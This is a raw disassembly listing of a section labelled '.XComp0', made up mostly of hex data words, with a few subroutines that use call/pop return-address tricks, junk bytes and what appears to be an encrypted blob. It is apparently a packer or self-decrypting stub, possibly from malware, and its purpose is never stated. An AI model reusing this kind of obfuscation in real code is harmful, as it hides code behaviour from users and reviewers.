8B6105F9h, 0FCFC15B5h, 1D852905h, 0C705F917h, 1000106h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 71026990h, 6074895Fh, 6E98Dh, 9A500000h dd 1B635D57h, 7E950h, 3BCD0000h, 2F1C3098h, 243489DCh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 14C35646h dd 0A633F7CEh, 416DBFEBh, 21B5FF86h, 8105FCFCh, 0DC8B98F7h dd 0BEBF6609h, 2995FF6Ah, 6A05F927h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E46EC350h dd 5870F70h, 0BB000000h, 3D94BA4Eh, 0FC15B58Bh, 6A05FCh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 39BDCEC3h, 0D496FC7Bh, 0F88BE9B2h, 1809858Bh, 6A05F9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 64D33BC3h, 0A82460D5h, 0BD0BAB19h, 5F919EDh, 8689FA8Bh dd 0C4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 5BC35646h, 0E877CE94h, 5, 0DA62FE0Ah, 890F6098h dd 0 ; --------------------------------------------------------------------------- mov esi, [ebp+5F912F9h] popa pop edi mov edx, [ebp+5F90CDDh] mov edi, [ebp+5F933F5h] add edx, 4 push 0 push ecx call sub_5C29C2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C29C2 proc near ; CODE XREF: .XComp0:005C29BAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5C29C2 endp ; --------------------------------------------------------------------------- dw 0FE0h dd 5089FFB7h, 1A8B0F20h, 0E8000000h, 14h, 6296A28Ah, 0E05ECA82h dd 0AAD1D1E6h, 973A998h, 442952F6h, 0E9858D5Bh, 0F805FD10h dd 311D8589h, 868905F9h, 0B8h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 3CC35040h, 3115F136h, 319673E0h dd 0E9006A23h, 8, 0BAAB6A6Ah, 0BECF7CE3h, 0FC21B5FFh, 816605FCh dd 0FFC981E7h, 0F9009995h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 805C0202h dd 8C0FE5C3h, 6, 968FD381h, 50961431h, 8B96DE8Ah, 0F9258DBDh dd 21B5FF05h, 0F05FCFCh, 885h, 28D0F00h, 8B000000h, 6995FFFAh dd 6605F935h, 0BD83FE8Bh, 5F917F5h, 28840F00h, 0E8000000h dd 0Ch, 446FF16h, 900E1D33h, 2668DCE9h, 815FFE8Bh, 155963C7h dd 8B669652h, 0F88B50FBh, 6DB58996h, 0FF05F907h, 0FCFC21B5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 31BD8970h, 0FF05F917h, 0F92E6D95h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 82257AFAh, 0E9B26FA3h, 6, 474F19C4h, 0B5FFC77Eh, 5FCFC21h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E5C35646h dd 8840FD5h, 57000000h, 850Fh, 0FF5B0000h, 0F921DD95h dd 85895305h, 5F91075h, 2DBD835Bh, 205F90Ah, 59840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 6939EBC3h, 858BB969h, 5F91151h, 2715BD8Bh, 0C605F9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 31B418A1h, 0F9260DBDh, 0D5858905h, 0C705F90Ch dd 0F9331985h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0C571088Ah, 15419D8Bh dd 14E905F9h, 6AFFFFF5h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0FBDAC356h, 0C11501B5h dd 0D59D89h, 0C18B05F9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0C6C35141h, 9D8B4420h, 5F90399h, 0DC1858Dh dd 0B52905F9h, 5F90811h, 8B665090h, 6A90FEh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0AF1647C3h dd 6A006A67h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 5DC1C357h, 0E919C6BDh, 741861DBh dd 115DB531h, 6A05F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0E0C35343h, 0DAD586D9h, 13DEF1F1h, 0D1B52993h dd 8905F931h, 0F9217D9Dh, 0BA858D05h, 6605FE78h, 9273F781h dd 6605C083h, 5014C4BBh, 17830Fh, 12E90000h, 19000000h dd 0B21E706h, 0DA4C7B69h, 5237EDE2h, 0A0C4A2A0h, 240489E4h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0A9C35242h dd 0BBC93FBFh, 6A006A11h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 3B6FC356h, 6B54CF72h dd 0F1B58957h, 6A05F92Ah, 1D858900h, 0FF05F928h, 0F913ED95h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 7A09DDAh, 3AEB0300h, 8810Fh, 8C0F0000h dd 2, 8D8D5F51h, 5FCE983h, 89DBD8Bh, 0D1FF05F9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 38C35747h, 0FBE44775h dd 58F0Fh, 0B8BB0000h, 89376258h, 0F91E4995h, 93BF6605h dd 85BD8389h, 105F917h, 0AD850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 42B154C3h dd 0FF064D0h, 9D8BDFB7h, 5F90049h, 9D2B026Ah, 5F93161h dd 0EE96090h, 74000000h, 0D56BE220h, 1E472F6Dh, 495640BCh dd 613BB094h, 905B5750h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0D4C35040h, 0BE8E19Eh, 49000000h, 0EAAF0324h dd 0B5E0A3CDh, 8D890358h, 5F92B21h, 0C0BF665Fh, 9995FF10h dd 6A05F900h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 6150C350h, 0E9CC4B07h, 0E98h dd 0E8h, 0ED815D00h, 5FE78C4h, 2279BD8Bh, 8B0F05F9h, 0 ; --------------------------------------------------------------------------- mov [ebp+5F92B81h], ebx lea eax, [ebp+5FCD97Ch] push 0 push esi call sub_5C2EDB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2EDB proc near ; CODE XREF: .XComp0:005C2ED3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5C2EDB endp ; --------------------------------------------------------------------------- db 0D5h dd 0D451F573h, 50535017h, 0FFC8A52h, 5ADE8A31h, 4895B58h dd 64D88A24h, 35FFh, 9D8B0000h, 5F90791h, 258964h, 0E8000000h dd 11h, 128E1136h, 397E6189h, 74DC3586h, 0DD1330D5h, 81BF66D8h dd 85FF5FEFh, 5F9197Dh, 0F0E6BF66h, 539BF66h, 6AFF6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 4A42B3C3h, 0E5B4D440h, 60F88B16h, 2C91B509h, 815305F9h dd 24E278C9h, 0FF615876h, 0F92A69B5h, 0A1BD8B05h, 0FF05F928h dd 0F9091195h, 0E1E905h, 0BD310000h, 5F90B25h, 34118D89h dd 0B005F9h, 0FEF38166h, 0E470E67Bh, 0E1950971h, 3C05F925h dd 0BC830F61h, 8B000000h, 0C8B60FF9h, 0C319589h, 6BA05F9h dd 66000000h, 0C18BD88Bh, 0D1DF8166h, 4E8C151h, 59E76BBh dd 0E2F76627h, 8166C82Bh, 8B3751C7h, 0DFBF0FD1h, 86E9h dd 6890F00h, 89000000h, 0F92B0995h, 4C858B05h, 0F505F4Ch dd 0C88h, 81666000h, 0BFE7CDEFh, 13AFE408h, 7C08361h, 8E9h dd 0FAA4D100h, 545A0F9Eh, 0C083B4h, 0FD03BFCh, 0E83h, 38A0F00h dd 66000000h, 38E9F98Bh, 8B000000h, 0FFFFFF8Dh, 3D9D8BFFh dd 8305F914h, 840F01E1h, 23h, 28F99D89h, 0A58305F9h, 0FFFFFFFFh dd 0D38166FEh, 95890469h, 505F4C4Ch, 18AD9D8Bh, 0E905F9h dd 8D000000h, 0FDF031B5h, 958D8905h, 6A05F913h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 3FBFADC2h, 8B9C66C3h, 0ED95FFDFh, 6A05F91Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 82B6C352h, 0B9DEEAD6h, 0FD5h, 1D890Fh, 0E8600000h, 0Fh dd 0A1530D14h, 0BC6E8409h, 895B9030h, 5A9156D8h, 8B0Fh dd 83610000h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 5F2368C3h, 2C8B1F0Bh, 33A7BB56h dd 6AFC17CFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 56AAC353h, 2BA125B3h, 6AC02Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 8065C3h, 0BA82h, 0ECB70000h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 12E9h, 46807B00h, 1B65EA77h, 4FBEE627h dd 5CB78012h, 0F80717CCh, 880Dh, 5850F00h, 66000000h, 0A19AE381h dd 8B0BD380h, 0F90CDD95h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 9358E5BEh dd 0EB8ABE7Bh, 0D3816603h, 8D8BEAB7h, 5F926C1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4EC35747h, 311D1C5Eh dd 0C8ECCB78h, 3E0FF381h, 8B503188h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0A3C35040h, 0B589DCFBh, 5F92911h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 57C35747h, 0D1BD8918h dd 8305F927h, 0F91159BDh, 840F0005h, 57h, 7E8h, 692D6600h dd 7F057DC5h, 2049BD8Bh, 0B85B05F9h, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+5F90B39h] lea ecx, [ebp+5F94EE8h] add edi, [ebp+5F9277Dh] jmp ecx ; --------------------------------------------------------------------------- push 0 push edx call sub_5C3297 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3297 proc near ; CODE XREF: .XComp0:005C328Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5C3297 endp ; --------------------------------------------------------------------------- db 3Ah dd 60A666FDh, 0B3FE3D8Fh, 54BFF94Dh, 83638F4Ch, 0F900FDBDh dd 840F0005h, 454h, 83FABF0Fh, 0F900FDBDh, 840F0105h, 45Fh dd 13800Fh, 0EE90000h, 3C000000h, 9F3DF62Ah, 6B9B33DAh dd 0DB25CD8Ch, 0FDBD83BDh, 305F900h, 403860Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0A113AC3h, 60A1D0C5h, 0F3AF41BBh, 0E381665Ah, 8C6665F7h dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 4E1806Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 3EC35545h, 840FC90Ah, 0CBh, 66F6E380h dd 858BDE8Bh, 5F92599h, 76D9D89h, 858905F9h, 5F9293Dh dd 42D8533h, 665005F9h, 89EA9ABFh, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0BE9DA0C3h dd 6A006A34h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 90D2C353h, 0E5FE170Dh, 0E268AA98h dd 66306018h, 3481FB8Bh, 7F1B1D24h, 6880F30h, 8B000000h dd 0F90799BDh, 0C595FF05h, 0F05F92Ah, 68Bh, 0E5958900h dd 8905F911h, 0FCFC2185h, 0C3816605h, 7AE95301h, 6A000002h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 54D2C350h, 0D1BFBA0Ch, 8B4A8219h, 0FCFC1985h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 9E241E3Fh, 35C364B1h, 0C7F977h, 18h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0FC35343h, 661C2271h dd 62C9CB81h, 0FC1DB58Bh, 6A05FCh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 1B990C3h, 0F1313431h dd 2B89858Bh, 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 83CCC8C3h, 89524884h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0CB41D8AAh, 14E98507h, 0D000000h, 169AD9BCh, 0F7BC8304h dd 3AD99C61h, 1B84A42Bh, 8B5A9D64h, 0F9259985h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D8B7DFDh, 5F92585h, 0D8756DBBh, 4468944h, 32F1BD8Bh dd 665005F9h, 3489F98Bh, 0FFDA8B24h, 0FCFC19B5h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 8AD98C17h, 68D88B66h, 92448A85h, 7E95250h, 0C1000000h dd 0C603AD5Eh, 310FBBF7h, 0DE8h, 4299AF00h, 51F4B7A8h dd 98F1E345h, 0FE86A16h, 16000000h, 8F3DE6F4h, 71688D30h dd 86BB725h, 5F5BF648h, 481585Ah, 0DA797A24h, 0E0BB666Dh dd 21858DC6h, 6A05FCFCh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0AC2C353h, 0D6DC4FA8h dd 0AE93D5Ch, 5C000000h, 3111235Ah, 0D3876B24h, 659D8B30h dd 9005F92Eh, 0F2BF5250h, 0F519662h, 81BB6631h, 50585A39h dd 0DE8B6660h, 0BDB9BA66h, 6A9061h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 69D768C3h dd 0DB21974Fh, 18860FB9h, 0E9000000h, 13h, 14CEB371h, 8A11BA21h dd 0A1530D14h, 0BC6E8409h, 0FF5B9030h, 0F92AC595h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 895F51D5h, 0F9145985h, 81666105h, 0C71522DBh, 0F900FD85h dd 305h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0C2231D46h, 21BD83A8h, 5FCFCh, 33840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 8D8982C3h, 5F92DF9h, 28B9BD8Bh, 21E905F9h dd 89000000h, 0F91B1185h, 0C305005h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 68A0F56h, 8B000000h, 0F90C459Dh dd 6A5B05h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0EF2AC7C3h, 5961AA80h, 0EE85Bh, 13590000h dd 7386CF54h, 0B5ACFF7Ch, 5231F78Ch, 14E9h, 7B601200h dd 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 1B1E0C78h, 0BD835B66h dd 5F900FDh, 25850F03h, 8B000005h, 0F91469BDh, 21BD8305h dd 5FCFCh, 512840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 3F3AD5C3h, 0AE895D4h dd 0A5000000h, 0AEBF3F5h, 0C820467h, 0E9BD8B88h, 5B05F924h dd 0FC21B5FFh, 6A05FCh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0D8AB80C3h, 3E7E0C58h, 1AAD95FFh dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 80F6BEC3h, 0B58B87E7h, 5FCFC15h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0AFC35545h, 0E93B1720h dd 11h, 0C9825BB3h, 0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh dd 106C7BDh, 6A000100h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 6AEFC350h, 0F37EBBEh dd 0B8Fh, 58D0F00h, 66000000h, 487AEB81h, 0FB8B6696h, 0F525050h dd 0FE831h, 66D50000h, 4CE7EB0Eh, 74AA05E6h, 21DFBB4Bh dd 5BFEB313h, 6A96585Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 414FC352h, 6CBD1310h dd 9D89C288h, 5F919C9h, 0B5FF5F57h, 5FCFC21h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4DC35646h, 0C208153Eh dd 95FF764Fh, 5F92729h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0B3C35040h, 7617B559h, 8F0FA952h, 3 dd 8B4BC780h, 0FCFC15B5h, 9B58905h, 8B05F919h, 0F9180985h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0CA2D019Dh, 0BE9A85Fh, 45000000h, 0C502B502h dd 4A58A98h, 8689E5C8h, 0C4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0E5C35242h, 8B34F1A7h, 0F90CDD95h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0F201083Ah, 541D511Ch, 0A98D8961h, 8305F934h dd 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 1D2557C3h, 0E8205089h, 9, 0B7B2420Bh, 3849E29Eh dd 0CF816658h, 8D5B3B10h, 0FD10E985h db 5 ; --------------------------------------------------------------------------- loc_5C3A41: ; DATA XREF: .XComp0:off_44DDA0o push 0 loc_5C3A43: ; DATA XREF: .XComp0:off_44F76Co push edx loc_5C3A44: ; DATA XREF: .XComp0:off_44F774o call sub_5C3A4C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3A4C proc near ; CODE XREF: .XComp0:loc_5C3A44p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C3A4C endp ; --------------------------------------------------------------------------- dd 5B9F4491h, 0D99589DEh, 8905F909h, 0F92E5DB5h, 0B8868905h dd 8B000000h, 0F911E19Dh, 6A006A05h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0DC6FC353h dd 4159501h, 8B6605F9h, 21B5FFD8h, 6A05FCFCh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 2F6DC355h, 40BC1E47h, 0CE9h, 0A1057700h, 5535E90Bh dd 241D61C6h, 9995FF97h, 0F05F900h, 0B84h, 58D0F00h, 66000000h dd 7651DF81h, 0CE850h, 0FF730000h, 0D913ACDDh, 4D5EE187h dd 5B51F89Eh, 2434895Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 69C35040h, 7443D4ADh, 0EDB589E2h, 6605F918h dd 425FCF81h, 0FC21B5FFh, 6A05FCh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 6D770FC3h, 6995FFC9h dd 0E805F935h, 0Ch, 5CD5F819h, 43F15CEAh, 33474AC3h, 18299D8Bh dd 835B05F9h, 0F917F5BDh, 840F0005h, 4Ch, 14E8h, 10221D00h dd 48DE44CAh, 12A0627Ch, 658070DBh, 76F93479h, 965FF53Ch dd 8CA5BE60h, 6656651Eh, 5E5589BFh, 6A965061h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 34C351h, 0D88B6636h, 0FC21B5FFh, 8ABB05FCh, 8B71D40Ch dd 0F933E9BDh, 6D95FF05h, 6A05F92Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 53CDC357h dd 21B5FF61h, 6A05FCFCh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 8A0CC350h, 859F2E81h dd 6681F10Ah, 0FFB6CCBFh, 0F921DD95h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0C7362AFCh, 0EB65BA1Dh, 0BF0FB334h, 2DBD83DBh, 205F90Ah dd 3A840Fh, 8B660000h, 6810FFEh, 23000000h, 0F92DB1BDh dd 51858B05h, 0F05F911h, 0C6F8BFh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 4C7FB3D0h dd 331985C7h, 5F9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 8BD7BAC3h, 0AE9E4h, 0DC5B0000h dd 358FE8A2h, 9F02D71Bh, 0FFF25BE9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0C18B32CCh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B9C35040h dd 945FA69Fh, 870FA712h, 18h, 13E9h, 0F715200h, 6C0EE197h dd 0C9825BB3h, 0CE18EBE9h, 2E6FCF33h, 33E9h, 86048000h dd 4Dh, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5C44A2 ; --------------------------------------------------------------------------- db 0F8h, 0D9h, 38h dd 12FDE104h, 26DD0BEAh, 13F2D7FEh, 21E606F1h, 0ABE829FBh dd 0B114C83Fh, 0F9DC000Bh, 0E20537D2h, 6EC10FDh, 0FE572231h dd 6FD42397h, 0AA638CD1h, 6F984423h, 7AE142CAh, 0FF12277Ch dd 3DA245EFh, 5B792CB3h, 0D61BB651h, 0DD26942Bh, 0F4ED01D8h dd 0E421CA35h, 0A13AA352h, 0C83B9D3Ah, 0D8DD14C5h, 0E2C5C801h dd 244BF4FEh, 0DCD13CA1h, 1D6BA70Dh, 844DBC1Fh, 0E2D5484Dh dd 36D7F8F4h, 0E0A3290Eh, 841DBFF0h, 65886787h, 0EA16E087h dd 79B00401h, 558C45DFh, 8893806Ah, 29958FF5h, 0DA7CB572h dd 0D182B760h, 29958FA8h, 0B2CB8825h, 2F29958Fh, 8C55B772h dd 0D7EDB738h, 856887A7h, 189D6A52h, 64058841h, 0D7FB7E9Dh dd 8B782995h, 0D7B4C556h, 74312995h, 45A913E2h, 85650BE1h dd 98272A82h, 77D5A8B3h, 55522996h, 0BA60559Ch, 0C6250753h dd 93240A26h, 0DA0FC6D5h, 4039DA1Fh, 0BD299597h, 0E1042EC0h dd 0F79C11FCh, 29959783h, 0BD0FDBFFh, 7C2D2A11h, 7E696CA5h dd 0B32AAB60h, 359696C4h, 0C50CDDD0h, 0FCE1DE03h, 29CD9C11h dd 0D5E28CDAh, 9FE10F3h, 4D2F5757h, 0D738981Fh, 80F8E6D6h dd 1DBAA325h, 0C5F00D4h, 44E48EAAh, 6B76B2h, 43C90000h dd 42DA578Dh, 30062826h, 23AA638Ch, 9685DBA0h, 3B277E29h dd 2F5D914Bh, 1564Dh, 0CEB00000h, 797C8731h, 7F5F8EA0h dd 0B61A1D90h, 0B517A059h, 9E53BC24h, 33AC4217h, 777E8734h dd 0E7C511E6h, 33D40807h, 3FA304E1h, 6D3DA052h, 4E71430Bh dd 9554FA9Dh, 932CD538h, 5F1DC72Bh, 87082B3Ah, 219E4B42h dd 73BD51BCh, 0A7608C9Dh, 0A0638572h, 11DA7C2Dh, 2DCD6468h dd 75789737h, 2D5A50A4h, 0FBE31224h, 0A5235AF7h, 72B76C01h dd 4B8E30C7h, 0B6636AA1h, 9212DB7Bh, 25C5A7B3h, 0A3E210B0h dd 2334820Ah, 13CE03CEh, 134C2DEEh, 0DCC92996h, 0F8D5003Ah dd 3197A015h, 43DDBD2h, 0B538CFFBh, 0A7B352E4h, 2F2EFDDFh dd 98BA4Dh, 8C8C0000h, 8326A760h, 36B7507Ch, 0B624D363h dd 14D5484Dh, 0B9F6E7EDh, 0CDC11321h, 95B14B2Eh, 3BDBC829h dd 2E8E9ECCh, 18C423D9h, 0E8ED20BDh, 28A89914h, 79B0F506h dd 913A3DB0h, 58768174h, 973542B3h, 32D98174h, 27DE7A24h dd 5E8C733Bh, 107C91A5h, 954D2FEDh, 9Ch, 0A7608C6Fh, 8E30C772h dd 859BDE7Dh, 6B182996h, 0B61522CBh, 0AD11AE53h, 0B0798A30h dd 7B62459Eh, 0BA20078Eh, 89844449h, 5037815Dh, 69536C02h dd 0D87E2BA2h, 0BC24B119h, 42876253h, 31CE849Ah, 0A0797C87h dd 859FDA79h, 5F1C2996h, 4FC020CFh, 0B5669B5Eh, 299685C4h dd 3B622741h, 552A5B3Dh, 0A3D77A9Ch, 1F29964Ah, 60474EBDh dd 9576587Bh, 0D804920h, 0C49AC8BFh, 0C9BDA904h, 4D2F6617h dd 57DCEDDFh, 0EFDC7557h, 95CC1964h, 20E99629h, 0FBF211B7h dd 11C082Eh, 0E6000000h, 818C31CEh, 6E6F412Bh, 0F81E2F24h dd 0C134CFF9h, 570419B6h, 2995EF26h, 0D2F9E6A3h, 0FCFBF237h dd 631645CEh, 0E02995EFh, 0E7EE23h, 39A429DAh, 0B44E103Eh dd 5A650955h, 6C197973h, 684FD2E2h, 0D97D2CA1h, 0B153B01Ah dd 58032FB9h, 29965F25h, 0F52CE5A2h, 8F80C866h, 30EB162Fh dd 239D3D4Dh, 0C139DDCAh, 0D9DC2992h, 0D4339700h, 0CCC108E1h dd 0D90B02EBh, 0B223C730h, 2135FC09h, 0CFEEEDD2h, 4863D23Ah dd 0BC7386E2h, 53B98075h, 89D00477h, 0F4CF5B0h, 239D706Eh dd 35183EEBh, 239D7042h, 0C8A4B2DDh, 0D93EE627h, 0A70D02DEh dd 0D565A49h, 42B14579h, 7A7D709Dh, 0A3688655h, 4CED676Eh dd 91040BB3h, 9BC736D8h, 8CED2ED3h, 9239D59h, 0CD0401EAh dd 0E825CA29h, 7131AB34h, 3C0548D6h, 9D4D5E1Fh, 82EDB23h dd 1891Ch, 0F2D8DF00h, 9E0FFEDFh, 0DA8F06CBh, 69FFFE34h dd 22310831h, 29968557h, 8579040Fh, 9F62996h, 0E946E895h dd 0C342A710h, 54F717D2h, 2F8F9136h, 0EF0ACF99h, 0DA33365h dd 9E6D1C4h, 0D8F5E004h, 0C62ED503h, 1EEDA570h, 0EEDF2AB9h dd 1465F64Bh, 8A239C89h, 7326A764h, 71809693h, 0C732A44Ch dd 75F8DF6Fh, 9CF893E6h, 0DE131023h, 2302A213h, 5A807737h dd 896685A9h, 77A45D84h, 239CF906h, 0C6708683h, 0D6D0A739h dd 556048h, 0FFC20000h, 350C3565h, 0E5E825CAh, 2E2F2234h dd 0EBA99685h, 0E128E10Ch, 0EC1BBF38h, 87F2A14Ah, 92A99685h dd 29C32A95h, 175D2C3Eh, 15985141h, 753B244h, 29D00298h dd 96516FEAh, 0CD6F2C29h, 0B928h, 6BA85100h, 29965212h dd 0D13A928Fh, 0A169BC12h, 0FF8BB145h, 5BF84169h, 29968522h dd 2851E29Fh, 0A5299685h, 0F1E429C6h, 138F138h, 8F863052h dd 13BC9B2Fh, 0EB26F3FAh, 0EFCFDE36h, 3A78F07Eh, 3ECCB14h dd 8980F91Ah, 0FD239Ch, 0BB413C9h, 70088B02h, 0F0239C8Ah dd 0B4B33ACBh, 3E8EFF08h, 7D431B47h, 768D3BC4h, 373521E0h dd 95C57796h, 0C447A503h, 8E47D40Dh, 5B299B0Fh, 8BC8517Ch dd 1D9E00F2h, 7677B26Fh, 0C2676EA3h, 0A1DC77h, 611E1D9Eh dd 4CC11ECDh, 46C32A95h, 0AE9337B0h, 0CD61AC11h, 29BF202Eh dd 0CA0B48F1h, 97239C87h, 0EAD532EAh, 0D7920300h, 69FF0137h dd 8A4B0831h, 922F950Ch, 0FDD1AC67h, 1F4E2397h, 91484DBCh dd 413EB658h, 59826B4Ch, 0BE1D9A75h, 5A8F4A4Bh, 9FBC85A2h dd 2397FDDEh, 6988AE5Bh, 7F048984h, 6C10897Ch, 0C233D8F6h dd 0FFF619B5h, 0E9C20A0Dh, 202CB204h, 0A6131945h, 6A3AA5Fh dd 725D203Bh, 2DDADB1Fh, 42ECFA09h, 0CEF09FCAh, 745514FBh dd 844D1C91h, 0B35A8372h, 0C04B718Eh, 40FA1CCDh, 36A33895h dd 94931ACFh, 0D0D7DE27h, 7FEEBEEh, 971ED386h, 0EAD3090h 